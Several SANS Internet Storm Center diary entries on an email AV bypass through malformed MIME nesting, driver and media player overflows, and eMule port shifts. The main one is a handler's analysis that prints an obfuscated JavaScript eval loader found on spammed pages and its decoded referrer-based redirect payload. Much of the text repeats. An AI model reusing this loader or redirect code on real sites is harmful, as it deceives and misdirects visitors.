Malformed MIMEs can bypass AV
Over on Quantenblog, they're reporting that malformed MIME attachements can, in some cases, be used to bypass email AV filtering. It works like this: because email standards were written back in the day when messages were only text (as God intended), they only guaranteed that 7 of the 8 bits in a byte would make it through. Now that emails contain everything from spreadsheets and executables to pretty-formatted dancing gerbils, we need a way to send the full 8 bits, while still meeting the original standards. To do this, we need a means of encoding 8 bit content into 7 bit email messages. One encoding scheme uses an "alphabet" containing 64 characters, and essentially takes 3 bytes of data and turns them into 4 bytes of encoded information. This is what Multipurpose Internet Mail Encoding (MIME) and specifically MIME64 is all about. The standard for MIME encoding (RFC 2045) says that when you're decoding, if you come across a character that isn't part of your "alphabet," you're supposed to ignore it and move on. The problem arises when an AV engine doesn't follow this standard, and an email program does. The AV engine doesn't scan the attachement properly, but the email program presents the fully decoded attachment for the end-user's clicking pleasure.
More info: http://www.quantenblog.net/security/virus-scanner-bypass
Update: Hendrick over at Quantenblog asked us to clarify the info on this a bit... In most cases, altering the MIME64 encoded content isn't sufficient to bypass AV. Additional layers of "multipart/mixed" nestings are required (and in some cases, extreme nesting depths themselves can cause resource exhaustion in AV products).
(Thanks Robert!)
More info: http://www.quantenblog.net/security/virus-scanner-bypass
Update: Hendrick over at Quantenblog asked us to clarify the info on this a bit... In most cases, altering the MIME64 encoded content isn't sufficient to bypass AV. Additional layers of "multipart/mixed" nestings are required (and in some cases, extreme nesting depths themselves can cause resource exhaustion in AV products).
(Thanks Robert!)
Keywords:
0 comment(s)
Intel LAN Driver Buffer Overflow Local Privilege Escalation
According to Intel, there is a buffer overflow in the drivers for one of their most popular NICs that can be used to escalate privilege locally. The flaw affects drivers for Intel PRO 10/100 adapters on Windows (>=Win2K), Linux, and UnixWare platforms. A complete listing of affected driver versions can be found here.
(Note: Thanks to everyone who pointed out that we needed to add an equals sign to the Windows description.)
(Note: Thanks to everyone who pointed out that we needed to add an equals sign to the Windows description.)
Keywords:
0 comment(s)
Windows Media Player - ASX Playlist Buffer Overflow
ISS has published an advisory on a buffer overflow found in Windows Media Player 9 and 10 related to handling .ASX playlist files. This follows a similar advisory by FrSIRT. It appears that these advisories are coming in response to indications that there are in-the-wild exploits of the vulnerability. The issue has been public since back on November 22nd.
Read the ISS Advisory, the FrSIRT Advisory, and the original Bugtraq posting.
(Thanks to everyone who sent this in...)
Read the ISS Advisory, the FrSIRT Advisory, and the original Bugtraq posting.
(Thanks to everyone who sent this in...)
Keywords:
0 comment(s)
Follow the Bouncing EMule
Robert Danford, one of the other ISC Handlers, happened to mention in the Sooper Secret ISC Handler Chat Room that a co-worker was investigating a local spike in traffic to port 1755 TCP. In looking at the DShield data, we're seeing levels jumping all over the place. By capturing packets, Robert's co-worker, Dan Frasnelli, was able to pin down what was flying by: eMule traffic. Doing a little searching (Google is your friend), we found that the kidz (in response to Eeeeevil ISPs throttling P2P traffic) have decided to use 1755 TCP. Why? Well, because Windows Media Server lives on that port, and they believe that they'll stand less chance of getting throttled. We've seen them move ports before: from 4662 -> 6662.
You know... if some of the people putting all of the thought and energy into obfuscating JavaScript, writing malware, getting P2P around ISPs, etc... want to stop by my house, I've got a "honey-do" list about 10 pages long that they could work on.
You know... if some of the people putting all of the thought and energy into obfuscating JavaScript, writing malware, getting P2P around ISPs, etc... want to stop by my house, I've got a "honey-do" list about 10 pages long that they could work on.
Keywords:
0 comment(s)
Climb a small mountain...
I really love malware authors who write their stuff in JavaScript. They try so hard to be like real programmers... and they're just so gosh-darned cute.
They're at their especially "I-want-to-be-a-big-boy-programmer" best when they jump through all sorts of hoops to obfuscate their handiwork. It's almost as if they don't realize that they're programming in toy language that's INTERPRETED...
So yesterday, I'm sitting in an airport waiting standby on a flight to get me home in time to see my daughter's choir concert, and my cell phone rings. According to Caller ID, it's Ed Skoudis - friend, fellow Intelguardian, fellow ISC Handler, and all-around infosec stud. I answer it anyway.
"Hey buddy! How's it going?" I hear Ed's all-too-chipper voice through the phone.
"Hmmm...," I think, "feigned pleasantry coupled with a fraternal 'buddy' reference. Ed wants something."
"Hey... I have a favor to ask you..."
And so Ed, who was ISC Handler-on-duty, went on to explain that he'd received an email from a reader who had come across what appeared to be some sort of encoded JavaScript. According to the reader, the script was found on a webpage that had been spammed to several blogs, and he was concerned that there might be something evil going on.
"Generally if you're on the up-and-up, you don't feel the need to obfuscate what you're doing," was Ed's conclusion.
Can't argue with that.
"So, what do you need me for?" I asked.
"Well... I'm really kind of swamped, both with HOD stuff and real work stuff, and I know how much you like this kind of thing..."
Sigh...
"Ok... send it to me."
After shooting the breeze with Ed for a few more minutes, I hang up and flip open my laptop, planning to hop onto the local public WiFi and ssh my way into the mailserver? only to find that there IS no public WiFi available.
Sigh... #2
"Ok," I decide, adopting my best those-grapes-are-probably-sour-anyway attitude, "my laptop is too dang big to use on a plane comfortably anyway. I'll just work on it tonight when I get home." But as the minutes to my flight tick away, I find myself looking at my shiny new "Windows Mobile" cell phone, and an evil plan begins to take shape.
"Nah...," I think, "it would never work... but it would sure be cool to try..."
So, as the clerks begin calling different groups for boarding, I furiously kick off the mail client on my phone, grab Ed's message from the server and save it as a text file.
A few minutes later, I'm seated on the plane, looking at the text of the email message in Pocket Word. I work down through the message, deleting everything but the actual text of the script:
<script>
var arr =
"76617220726566203d20646f63756d656e74
2e72656665727265723b0d0a766172206c6f
... many, MANY rows of numbers deleted ...
63203d20646f63756d656e742e6c6f636174
2022687474703a2f2f73747570686f6d652e
636f6d2f702f22202b2071202b20222e6874
6d6c223b0d0a090909097d0d0a0909097d0d
0a09097d0d0a097d0d0a7d0d0a";
var table = new Array();
table['0'] = 0;table['1'] = 1;
table['2'] = 2;table['3'] = 3;
table['4'] = 4;table['5'] = 5;
table['6'] = 6;table['7'] = 7;
table['8'] = 8;table['9'] = 9;
table['a'] = 10;table['b'] = 11;
table['c'] = 12;table['d'] = 13;
table['e'] = 14;table['f'] = 15;
function markCounter(a) {
var txt = ""; var c = 0;
while (c < a.length) {
txt += String.fromCharCode(table[a[c]] * 16 + table[a[c + 1]]);
c += 2;
}
eval(txt);
}
demo = ""+false;details = "false";
if (demo == details) {
markCounter(arr);
}
</script>
I slap an <html><head></head><body>...</body></html> framework around the script, and I'm ready to delve into the code itself.
The first thing that strikes me is the "eval(txt)" call. That's where the actual rubber meets the road in this script. I'll need to take care of that.
I replace "eval(txt)" with the following:
document.write("<textarea rows=50 cols=50>");
document.write(txt);
document.write("</textarea>");
I also get rid of all the "demo" crud at the bottom, replacing it with a simple call:
markCounter(arr);
Having done that, I change the name of the file from "edsmail.txt" to "edsmail.htm," and fire it off in Pocket IE.
It displays my TEXTAREA, but... well... nothing else. Perhaps I'm not as clever as I think I am.
Nah.
Turns out, it was the JavaScript jockey who wasn't so clever. Dude... if you're out there and reading this, take some notes, ok? You can't access a string using array notation: "a[c]" doesn't work. Here's how you fix it: you need to replace "a[c]" with "a.substr(c, 1)"
I correct Mr. LeetHaxor's code, and it promptly dumps the following into my TEXTAREA:
var ref = document.referrer;
var loc = document.location.href;
if (ref.indexOf("google") == -1 && ref.indexOf("yahoo") == -1 &&
ref.indexOf("msn") == -1) {
document.location.href = "http://activefreehost.com/removed.php?url=" + loc;
} else {
if (ref.indexOf("site:") >= 0 || ref.indexOf("site%3A") >= 0) {
document.location.href = "http://activefreehost.com/removed.php?url=" + loc;
} else {
var re = new RegExp("http:\/\/([a-z0-9\-A-Z\.]*)\/");
var domain = re.exec(loc);
if (domain == null) {
document.location.href = "http://activefreehost.com/removed.php?url=" + loc;
} else {
re = new RegExp("\\.([a-z0-9\-A-Z\.]*)");
topdomain = re.exec(domain[1]);
if (ref.indexOf(domain[1]) != -1 || ref.indexOf(topdomain[1]) != -1) {
document.location.href = "http://activefreehost.com/removed.php?url=" + loc;
} else {
re = new RegExp("q=[^&]*");
var m = re.exec(ref);
if (m == null) {
re = new RegExp("p=[^&]*");
m = re.exec(ref);
if (m == null) {
document.location.href =
"http://activefreehost.com/removed.php?url=" + loc;
} else {
var q = m[0].substring(2);
q = q.replace(/\+/, "_");
q = q.replace(/\s/, "_");
document.location.href = "http://stuphome.com/p/" + q + ".html";
}
} else {
var q = m[0].substring(2);
q = q.replace(/\+/, "_");
q = q.replace(/\s/, "_");
document.location.href = "http://stuphome.com/p/" + q + ".html";
}
}
}
}
}
Looks like someone is VERY interested in referrer info, but doesn't want anyone to know it.
So... all of you JavaScript geniuses out there, please take note: I "cracked" this obfuscation while munching on in-flight pretzels and working ON MY CELLPHONE. If you seriously don't want someone to know what you're up to, then I think your encoding techniques should require cracking on something that doesn't ring...
UPDATE: Bojan has done some checking, and it appears that you can access characters within a string in JavaScript using array notation... but only under FireFox. I still stand by my "fix", 'cause it's cross-platform.
-------------------------------------------------------------------------------------
Tom Liston - Senior Security Consultant - Intelguardians
Handler-On-Duty
They're at their especially "I-want-to-be-a-big-boy-programmer" best when they jump through all sorts of hoops to obfuscate their handiwork. It's almost as if they don't realize that they're programming in toy language that's INTERPRETED...
So yesterday, I'm sitting in an airport waiting standby on a flight to get me home in time to see my daughter's choir concert, and my cell phone rings. According to Caller ID, it's Ed Skoudis - friend, fellow Intelguardian, fellow ISC Handler, and all-around infosec stud. I answer it anyway.
"Hey buddy! How's it going?" I hear Ed's all-too-chipper voice through the phone.
"Hmmm...," I think, "feigned pleasantry coupled with a fraternal 'buddy' reference. Ed wants something."
"Hey... I have a favor to ask you..."
And so Ed, who was ISC Handler-on-duty, went on to explain that he'd received an email from a reader who had come across what appeared to be some sort of encoded JavaScript. According to the reader, the script was found on a webpage that had been spammed to several blogs, and he was concerned that there might be something evil going on.
"Generally if you're on the up-and-up, you don't feel the need to obfuscate what you're doing," was Ed's conclusion.
Can't argue with that.
"So, what do you need me for?" I asked.
"Well... I'm really kind of swamped, both with HOD stuff and real work stuff, and I know how much you like this kind of thing..."
Sigh...
"Ok... send it to me."
After shooting the breeze with Ed for a few more minutes, I hang up and flip open my laptop, planning to hop onto the local public WiFi and ssh my way into the mailserver? only to find that there IS no public WiFi available.
Sigh... #2
"Ok," I decide, adopting my best those-grapes-are-probably-sour-anyway attitude, "my laptop is too dang big to use on a plane comfortably anyway. I'll just work on it tonight when I get home." But as the minutes to my flight tick away, I find myself looking at my shiny new "Windows Mobile" cell phone, and an evil plan begins to take shape.
"Nah...," I think, "it would never work... but it would sure be cool to try..."
So, as the clerks begin calling different groups for boarding, I furiously kick off the mail client on my phone, grab Ed's message from the server and save it as a text file.
A few minutes later, I'm seated on the plane, looking at the text of the email message in Pocket Word. I work down through the message, deleting everything but the actual text of the script:
<script>
var arr =
"76617220726566203d20646f63756d656e74
2e72656665727265723b0d0a766172206c6f
... many, MANY rows of numbers deleted ...
63203d20646f63756d656e742e6c6f636174
2022687474703a2f2f73747570686f6d652e
636f6d2f702f22202b2071202b20222e6874
6d6c223b0d0a090909097d0d0a0909097d0d
0a09097d0d0a097d0d0a7d0d0a";
var table = new Array();
table['0'] = 0;table['1'] = 1;
table['2'] = 2;table['3'] = 3;
table['4'] = 4;table['5'] = 5;
table['6'] = 6;table['7'] = 7;
table['8'] = 8;table['9'] = 9;
table['a'] = 10;table['b'] = 11;
table['c'] = 12;table['d'] = 13;
table['e'] = 14;table['f'] = 15;
function markCounter(a) {
var txt = ""; var c = 0;
while (c < a.length) {
txt += String.fromCharCode(table[a[c]] * 16 + table[a[c + 1]]);
c += 2;
}
eval(txt);
}
demo = ""+false;details = "false";
if (demo == details) {
markCounter(arr);
}
</script>
I slap an <html><head></head><body>...</body></html> framework around the script, and I'm ready to delve into the code itself.
The first thing that strikes me is the "eval(txt)" call. That's where the actual rubber meets the road in this script. I'll need to take care of that.
I replace "eval(txt)" with the following:
document.write("<textarea rows=50 cols=50>");
document.write(txt);
document.write("</textarea>");
I also get rid of all the "demo" crud at the bottom, replacing it with a simple call:
markCounter(arr);
Having done that, I change the name of the file from "edsmail.txt" to "edsmail.htm," and fire it off in Pocket IE.
It displays my TEXTAREA, but... well... nothing else. Perhaps I'm not as clever as I think I am.
Nah.
Turns out, it was the JavaScript jockey who wasn't so clever. Dude... if you're out there and reading this, take some notes, ok? You can't access a string using array notation: "a[c]" doesn't work. Here's how you fix it: you need to replace "a[c]" with "a.substr(c, 1)"
I correct Mr. LeetHaxor's code, and it promptly dumps the following into my TEXTAREA:
var ref = document.referrer;
var loc = document.location.href;
if (ref.indexOf("google") == -1 && ref.indexOf("yahoo") == -1 &&
ref.indexOf("msn") == -1) {
document.location.href = "http://activefreehost.com/removed.php?url=" + loc;
} else {
if (ref.indexOf("site:") >= 0 || ref.indexOf("site%3A") >= 0) {
document.location.href = "http://activefreehost.com/removed.php?url=" + loc;
} else {
var re = new RegExp("http:\/\/([a-z0-9\-A-Z\.]*)\/");
var domain = re.exec(loc);
if (domain == null) {
document.location.href = "http://activefreehost.com/removed.php?url=" + loc;
} else {
re = new RegExp("\\.([a-z0-9\-A-Z\.]*)");
topdomain = re.exec(domain[1]);
if (ref.indexOf(domain[1]) != -1 || ref.indexOf(topdomain[1]) != -1) {
document.location.href = "http://activefreehost.com/removed.php?url=" + loc;
} else {
re = new RegExp("q=[^&]*");
var m = re.exec(ref);
if (m == null) {
re = new RegExp("p=[^&]*");
m = re.exec(ref);
if (m == null) {
document.location.href =
"http://activefreehost.com/removed.php?url=" + loc;
} else {
var q = m[0].substring(2);
q = q.replace(/\+/, "_");
q = q.replace(/\s/, "_");
document.location.href = "http://stuphome.com/p/" + q + ".html";
}
} else {
var q = m[0].substring(2);
q = q.replace(/\+/, "_");
q = q.replace(/\s/, "_");
document.location.href = "http://stuphome.com/p/" + q + ".html";
}
}
}
}
}
Looks like someone is VERY interested in referrer info, but doesn't want anyone to know it.
So... all of you JavaScript geniuses out there, please take note: I "cracked" this obfuscation while munching on in-flight pretzels and working ON MY CELLPHONE. If you seriously don't want someone to know what you're up to, then I think your encoding techniques should require cracking on something that doesn't ring...
UPDATE: Bojan has done some checking, and it appears that you can access characters within a string in JavaScript using array notation... but only under FireFox. I still stand by my "fix", 'cause it's cross-platform.
-------------------------------------------------------------------------------------
Tom Liston - Senior Security Consultant - Intelguardians
Handler-On-Duty
Keywords:
0 comment(s)
×
![modal content]()
Diary Archives
© 2024 SANS™ Internet Storm Center
Developers: We have an API for you! 
Comments